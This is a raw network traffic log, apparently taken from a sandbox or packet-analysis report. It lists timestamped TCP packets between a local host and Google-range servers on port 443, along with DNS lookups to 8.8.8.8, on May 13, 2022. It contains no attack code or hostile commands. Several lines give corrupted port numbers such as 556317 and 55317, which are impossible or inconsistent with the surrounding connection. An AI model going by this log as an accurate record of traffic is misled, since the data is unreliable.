May 13, 2022 14:56:32.050193071 CEST 443 56317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:32.050913095 CEST 56317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.077162027 CEST 556317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.078262091 CEST 443 56317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:32.087709904 CEST 556317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.121052027 CEST 443 56317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:32.121597052 CEST 556317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.121826887 CEST 56317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.151559114 CEST 443 556317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:32.161355019 CEST 443 556317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:32.161494017 CEST 443 55317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:32.164321899 CEST 556317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.189861059 CEST 55317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.943787098 CEST 62706 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:32.971427917 CEST 53 62706 8.8.8.8 192.168.2.5

May 13, 2022 14:56:33.141558886 CEST 52263 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:33.142487049 CEST 59933 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:33.160523891 CEST 53 52263 8.8.8.8 192.168.2.5

May 13, 2022 14:56:33.169663906 CEST 53 59933 8.8.8.8 192.168.2.5

May 13, 2022 14:56:33.482532024 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.508336067 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.508842945 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.534614086 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.534648895 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.534667015 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.534687042 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.537940025 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.539184093 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.565402985 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.565958023 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.566227913 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.566453934 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.566639900 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.598433971 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.598912001 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.599221945 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.599448919 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.599715948 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.599989891 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.600011110 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.600028992 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.600049019 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.600065947 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.600085020 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.600101948 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.600307941 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.601048946 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.601289034 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.601386070 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.601454020 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.601509094 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:33.601530075 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.601538897 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.601547956 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.601566076 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.602297068 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.602391005 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.603791952 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.603821039 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.603837967 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.603853941 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.604955912 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.605089903 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.606132984 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.606163979 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.606179953 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.606197119 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.606448889 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.606528997 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.607913017 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.607944965 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.609545946 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.609572887 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.609591007 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.609608889 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.611370087 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.611394882 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.611413002 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.611429930 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.613507986 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.613534927 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.613550901 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.613568068 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.615734100 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.615755081 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.616873980 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.616903067 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.616961002 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.616975069 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.618866920 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.619568110 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.619646072 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.619750977 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.619795084 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.619836092 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.619877100 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.619894981 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.619944096 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620018005 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620085955 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620146990 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620224953 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620321035 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620402098 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620481968 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620548964 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.620872974 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.620896101 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.621284008 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.623506069 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.623532057 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.623548985 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.623562098 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.623831987 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.623951912 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.625147104 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.625171900 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.625421047 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.626451969 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.626477003 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.626494884 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.626513958 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.627304077 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.627408028 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.628714085 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.628740072 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.628757954 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.628774881 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.630335093 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.630363941 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.630382061 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.630399942 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.632431984 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.632464886 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.632518053 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.632534981 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.634341955 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.634370089 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.634387970 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.634407043 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.634444952 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.634521961 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.634591103 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.634668112 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.634763956 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.634819984 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.634908915 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.634978056 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.636647940 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.636672020 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.636692047 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.636709929 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.638315916 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.638350964 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.638367891 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.638386011 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.638746023 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.638844013 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.638983965 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.639069080 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.639694929 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.639728069 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.639744043 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.639763117 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.640064001 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.640084982 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641175985 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641204119 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641222000 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641239882 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.641257048 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641274929 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641290903 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641308069 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.641350031 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.641485929 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.641519070 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.641597986 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.641669035 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.642419100 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642441034 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642458916 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642472029 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642486095 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642503977 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642522097 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642539024 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.642818928 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.643973112 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644001007 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644017935 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644036055 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644052982 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644072056 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644089937 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644108057 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.644681931 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.645833969 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645859003 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645875931 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645895958 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645914078 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645931005 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645947933 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645967007 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.645983934 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.646001101 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.646018028 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.646034956 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.646198988 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.647253990 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647274971 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647291899 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647304058 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647321939 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647341013 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647356033 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647373915 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.647681952 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.648534060 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.648555994 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.648571968 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.648588896 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653074026 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653106928 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653124094 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653141975 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653158903 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653176069 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.653193951 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653211117 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653436899 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.653454065 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.653458118 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.654989004 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.655014038 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.655030012 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.655046940 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.655064106 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.655078888 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.655189037 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.657396078 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.657424927 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.657435894 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.657453060 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.657497883 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.657516956 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.657558918 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.657576084 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.658116102 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.659940004 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.659967899 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.659987926 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.660007954 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.660027981 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.660044909 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.660074949 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.660093069 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.660600901 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.661952972 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.661979914 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.661998034 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.662010908 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.662029028 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.662046909 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.662065029 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.662084103 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.662096977 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663295031 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663326025 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663343906 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663358927 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663377047 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663393974 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663410902 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663430929 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663449049 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663467884 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663485050 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.663501024 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664186954 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.664413929 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.664712906 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664736986 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664756060 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664774895 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664793968 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664812088 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.664829969 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664845943 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664864063 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664880991 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664897919 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664913893 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664932013 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.664948940 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.665322065 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.666270018 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666296005 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666313887 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666332960 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666349888 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666368008 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666385889 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666403055 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666419983 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666440964 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666457891 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666475058 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666491985 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666508913 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.666749001 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.667826891 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.667854071 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.667871952 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.667889118 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.667942047 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.667958975 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.667978048 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.667994976 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668014050 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668030024 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668046951 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668064117 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668081045 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668082952 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.668098927 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668116093 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668133020 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668149948 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668165922 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.668343067 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.669648886 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669677019 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669694901 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669712067 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669729948 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669747114 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669764996 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669781923 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669800043 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669817924 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669833899 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669851065 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669868946 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669884920 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669900894 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.669918060 CEST 443 59934 142.250.186.142 192.168.2.5
